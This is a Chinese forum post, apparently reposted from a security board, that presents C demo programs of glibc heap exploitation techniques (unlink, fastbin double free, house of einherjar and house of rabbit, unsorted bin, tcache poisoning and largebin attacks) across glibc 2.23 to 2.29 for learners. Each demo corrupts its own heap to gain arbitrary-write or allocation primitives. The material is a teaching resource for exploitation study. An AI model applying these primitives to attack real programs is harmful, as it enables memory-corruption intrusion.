堆溢出_demo
2020-08-31 02:39:21 Author: bbs.pediy.com(查看原文) 阅读量:400 收藏

原文地址

之前写过一篇文章主要描述了一下ptmalloc的流程,今天翻了一下文件夹,把很久以前研究ptmalloc绕过时写的c语言demo也一起发出来,供初学者学习, 这份c语言demo 总结了至今为止,pwn中出现的大部分heap利用思路,内容涵盖glibc2.23, glibc2.27, glibc2.29

glibc2.23

unlink

#include <stdio.h>
#include <stdlib.h>

char stdout_buf[BUFSIZ];
char stdin_buf[BUFSIZ];
char stderr_buf[BUFSIZ];
size_t ptr[4];

int main()
{
    setbuf(stdout, stdout_buf);
    setbuf(stdin, stdin_buf);
    setbuf(stderr, stderr_buf);
    fprintf(stdout, "全局变量指针: %p\n", &ptr[3]);
    size_t *p1 = malloc(0x20);
    size_t *p2 = malloc(0x80);
    malloc(0x10);

    ptr[3] = (size_t)p1;

    fprintf(stdout, "构建fake_chunk(全局变量存储malloc用户态指针,但unlink需要全局变量存储chunk指针所以伪造chunk)\n");
    p1[0] = 0;
    p1[1] = 0x20;
    p1[2] = (size_t)&ptr[3] - 0x18;
    p1[3] = (size_t)&ptr[3] - 0x10;

    // p2[-2] = 0x20;
    // p2[-1] = 0x90;
    p1[4] = 0x20;
    p1[5] = 0x90;
    free(p2);

    fprintf(stdout, "全局变量内容被修改为: 0x%lx\n", ptr[3]);
    return 0;
}

fastbin_double_free

#include <stdio.h>
#include <stdlib.h>

char stdout_buf[BUFSIZ];
char stdin_buf[BUFSIZ];
char stderr_buf[BUFSIZ];

size_t target[2] = {0};
int main()
{
    setbuf(stdout, stdout_buf);
    setbuf(stdin, stdin_buf);
    setbuf(stderr, stderr_buf);
    target[1] = 0x81;
    fprintf(stdout, "目标地址: %p\n", &target);

    size_t *p1 = malloc(0x70);
    size_t *p2 = malloc(0x70);

    free(p1);
    free(p2);
    free(p1);

    size_t *p3 = malloc(0x70);
    malloc(0x70);

    p3[0] = (size_t)&target;

    malloc(0x70);
    size_t *p4 = malloc(0x70);

    fprintf(stdout, "被分配chunk地址为: %p\n", p4 - 2);

    return 0;
}

fastbin_fake_free

#include <stdio.h>
#include <stdlib.h>

char stdout_buf[BUFSIZ];
char stdin_buf[BUFSIZ];
char stderr_buf[BUFSIZ];

int main()
{
    setbuf(stdout, stdout_buf);
    setbuf(stdin, stdin_buf);
    setbuf(stderr, stderr_buf);

    puts("fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理");
    puts("fake chunk 地址需要对齐, MALLOC_ALIGN_MASK");
    puts("fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐");
    puts("fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem");
    puts("fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况");

    malloc(1);  //初始化堆,如果堆没有初始化就不能free
    size_t fake_chunks[10] __attribute__ ((aligned (16)));
    fprintf(stdout, "fake_chunk地址: %p\n", fake_chunks);
    fake_chunks[1] = 0x40;
    fake_chunks[9] = 0x11; // next chunk size

    free(&fake_chunks[2]);
    size_t *p1 = malloc(0x30);
    fprintf(stdout, "fake_chunk地址: %p\n", p1 - 2);
    return 0;
}

fastbin_fake_malloc

#include <stdio.h>
#include <stdlib.h>

char stdout_buf[BUFSIZ];
char stdin_buf[BUFSIZ];
char stderr_buf[BUFSIZ];

int main()
{
    setbuf(stdout, stdout_buf);
    setbuf(stdin, stdin_buf);
    setbuf(stderr, stderr_buf);

    size_t *p1 = malloc(0x70);
    free(p1);

    size_t fake_chunk[2];
    fake_chunk[1] = 0x80;
    fprintf(stdout, "fake_chunk地址: %p\n", fake_chunk);

    p1[0] = (size_t)fake_chunk;
    malloc(0x70);
    size_t *p2 = malloc(0x70);
    fprintf(stdout, "分配chunk地址: %p\n", p2 - 2);
    return 0;
}

house_of_einherjar

#include <stdio.h>
#include <stdlib.h>

char stdout_buf[BUFSIZ];
char stdin_buf[BUFSIZ];
char stderr_buf[BUFSIZ];

int main()
{
    setbuf(stdout, stdout_buf);
    setbuf(stdin, stdin_buf);
    setbuf(stderr, stderr_buf);

    size_t *p1 = malloc(0x80);
    size_t *p2 = malloc(0x18);
    size_t *p3 = malloc(0x80);

    fprintf(stdout, "目标地址: %p\n", p1);
    free(p1);
    p2[2] = 0xb0;
    p2[3] = 0x90;
    free(p3);
    size_t *p4 = malloc(0x130);

    fprintf(stdout, "分配chunk地址: %p\n", p4);
    return 0;
}

house_of_rabbit_size

#include <stdio.h>
#include <stdlib.h>

char stdout_buf[BUFSIZ];
char stdin_buf[BUFSIZ];
char stderr_buf[BUFSIZ];


// malloc_consolidate将fastbin放入unsorted时,会定位当前fastbin的next_chunk,所以最好伪造一个fake_chunk或者修改后的size可以指向正常chunk
int main()
{
    setbuf(stdout, stdout_buf);
    setbuf(stdin, stdin_buf);
    setbuf(stderr, stderr_buf);

    size_t *p1 = malloc(0x70);
    size_t *p2 = malloc(0x70);
    malloc(0x10);

    free(p1);
    free(p2);

    fprintf(stdout, "0x80 fastbin chunk: %p\n", p1);

    p1[-1] = 0x101;
    // 触发malloc consolidate
    malloc(0x1000);
    size_t *p3 = malloc(0xf0);
    fprintf(stdout, "0x100 smallbin chunk: %p\n", p1);

    return 0;
}

house_of_rabbit_fd

#include <stdio.h>
#include <stdlib.h>

char stdout_buf[BUFSIZ];
char stdin_buf[BUFSIZ];
char stderr_buf[BUFSIZ];

// malloc_consolidate将fastbin放入unsorted时,会定位当前fastbin的next_chunk,所以最好伪造一个fake_chunk或者修改后的size可以指向正常chunk
int main()
{
    setbuf(stdout, stdout_buf);
    setbuf(stdin, stdin_buf);
    setbuf(stderr, stderr_buf);

    size_t fake_chunk[24] = {0};
    fake_chunk[1] = 0x91;
    fake_chunk[19] = 0x21;
    fake_chunk[23] = 0x21;
    fprintf(stdout, "目标地址: %p\n", fake_chunk);

    size_t *p1 = malloc(0x70);

    free(p1);
    p1[0] = (size_t)fake_chunk;

    malloc(0x1000);
    size_t *p2 = malloc(0x80);
    fprintf(stdout, "0x90 smallbin chunk: %p\n", p2 - 2);

    return 0;
}

unsortedbin_attack

#include <stdio.h>
#include <stdlib.h>

char stdout_buf[BUFSIZ];
char stdin_buf[BUFSIZ];
char stderr_buf[BUFSIZ];

size_t target;

int main()
{
    setbuf(stdout, stdout_buf);
    setbuf(stdin, stdin_buf);
    setbuf(stderr, stderr_buf);

    size_t *p1 = malloc(0x80);
    malloc(0x10);
    free(p1);
    p1[1] = (size_t)&target - 0x10;
    malloc(0x80);

    fprintf(stdout, "目标地址被写入unsorted_bin指针: 0x%lx\n", target);

    return 0;
}

glibc2.27

tcache_dup

#include <stdio.h>
#include <stdlib.h>

char stdout_buf[BUFSIZ];
char stdin_buf[BUFSIZ];
char stderr_buf[BUFSIZ];

int main()
{
    setbuf(stdout, stdout_buf);
    setbuf(stdin, stdin_buf);
    setbuf(stderr, stderr_buf);

    size_t fake_chunk[4] = {0};
    fprintf(stdout, "目标地址: %p\n", fake_chunk);

    size_t *p1 = malloc(0x10);
    free(p1);
    free(p1);

    size_t *p2 = malloc(0x10);
    p2[0] = (size_t)&fake_chunk[2];

    malloc(0x10);
    size_t *p3 = malloc(0x10);

    fprintf(stdout, "分配chunk地址: %p\n", p3 - 2);
    return 0;
}

tcache_poisoning

#include <stdio.h>
#include <stdlib.h>

char stdout_buf[BUFSIZ];
char stdin_buf[BUFSIZ];
char stderr_buf[BUFSIZ];

int main()
{
    setbuf(stdout, stdout_buf);
    setbuf(stdin, stdin_buf);
    setbuf(stderr, stderr_buf);

    size_t fake_chunk[4];
    fprintf(stdout, "目标地址: %p\n", fake_chunk);
    size_t *p1 = malloc(0x10);
    free(p1);
    p1[0] = (size_t)&fake_chunk[2]; // tcache_bin next存储用户态指针

    malloc(0x10);
    size_t *p2 = malloc(0x10);
    fprintf(stdout, "分配chunk地址: %p\n", p2 - 2);
    return 0;
}

tcache_spirit

#include <stdio.h>
#include <stdlib.h>

char stdout_buf[BUFSIZ];
char stdin_buf[BUFSIZ];
char stderr_buf[BUFSIZ];

int main()
{
    setbuf(stdout, stdout_buf);
    setbuf(stdin, stdin_buf);
    setbuf(stderr, stderr_buf);

    size_t fake_chunk[4] = {0};
    fake_chunk[1] = 0x80;
    fprintf(stdout, "目标地址: %p\n", fake_chunk);

    malloc(0x1);    //初始化堆
    free(&fake_chunk[2]);

    size_t *p1 = malloc(0x70);

    fprintf(stdout, "分配chunk地址: %p\n", p1 - 2);
    return 0;
}

tcache_smallbin_unlink

#include <stdio.h>
#include <stdlib.h>

char stdout_buf[BUFSIZ];
char stdin_buf[BUFSIZ];
char stderr_buf[BUFSIZ];

size_t fake_chunk[3] = {0}; 
size_t writeable_addr[3] = {0};

int main()
{
    setbuf(stdout, stdout_buf);
    setbuf(stdin, stdin_buf);
    setbuf(stderr, stderr_buf);
    int i;
    size_t *chunk_list[9] = {0};

    // fake chunk & write_able_addr
    fake_chunk[3] = (size_t)writeable_addr; //fake_chunk 解链操作 bin->bk = bck; bck->fd = bin
    fprintf(stdout, "目标chunk地址: %p\n", fake_chunk);
    fprintf(stdout, "可写区域原内容: 0x%lx\n", writeable_addr[2]);

    for (i = 0; i < 9; i++)
    {
        chunk_list[i] = malloc(0x80);
    }

    for (int i = 3; i < 9; i++)
    {
        free((void *)chunk_list[i]);
    }

    free((void *)chunk_list[1]); //防止unsorted bin合并
    free((void *)chunk_list[0]); //unsorted bin
    free((void *)chunk_list[2]); //unsorted bin

    malloc(0x90);   //分配大于0x80的堆块,将unsortedbin放入smallbin

    malloc(0x80);
    malloc(0x80);   //取出两个tcachebin,剩余5个tcachebin

    chunk_list[2][1] = (size_t)fake_chunk;  //bk 连接fake_chunk

    calloc(1, 0x80);
    size_t * p1 = malloc(0x80);

    fprintf(stdout, "分配chunk地址: %p\n", p1 - 2);
    fprintf(stdout, "可写区域现内容: 0x%lx\n", writeable_addr[2]);




    return 0;
}

glibc2.29

largebin_attack

#include <stdio.h>
#include <stdlib.h>

size_t target[5];

// 如果unsortedbin中取出的chunk size小于largebin中最小的size则
    // victim->fd_nextsize = fwd->fd;
    // victim->bk_nextsize = fwd->fd->bk_nextsize(伪造);
    // fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
// 如果在遍历largebin时,从unsortedbin中取出的chunk size=某chunk_size则将unsortedbin_chunk直接插入某chunk的小链第2位
// 如果在遍历largebin时,从unsortedbin中取出的chunk size<某chunk_size则
    // victim->fd_nextsize = fwd;
    // victim->bk_nextsize = fwd->bk_nextsize(伪造);
    // fwd->bk_nextsize = victim;
    // victim->bk_nextsize->fd_nextsize = victim;

// 利用特点:
    // 伪造largebin的bk_nextsize为目标地址-0x20
    // largebin的fd_nextsize = 0

// 利用结果:
    // target 被写入victim指针



int main()
{
    size_t *p1, *p2, *p3;
    setbuf(stdout, NULL);

    p1 = malloc(0x410);
    malloc(0x10);
    p2 = malloc(0x420);
    malloc(0x10);
    free(p1);
    // put p into large bin
    malloc(0x500);
    free(p2);

    p1[2] = 0;
    p1[3] = (size_t)target;

    fprintf(stdout, "目标地址原内容: 0x%lx\n", target[4]);
    p3 = malloc(0x500);
    fprintf(stdout, "目标地址现内容: 0x%lx\n", target[4]);

    return 0;
}

《0day安全 软件漏洞分析技术(第二版)》第三次再版印刷预售开始!


文章来源: https://bbs.pediy.com/thread-261719.htm
如有侵权请联系:admin#unsafe.sh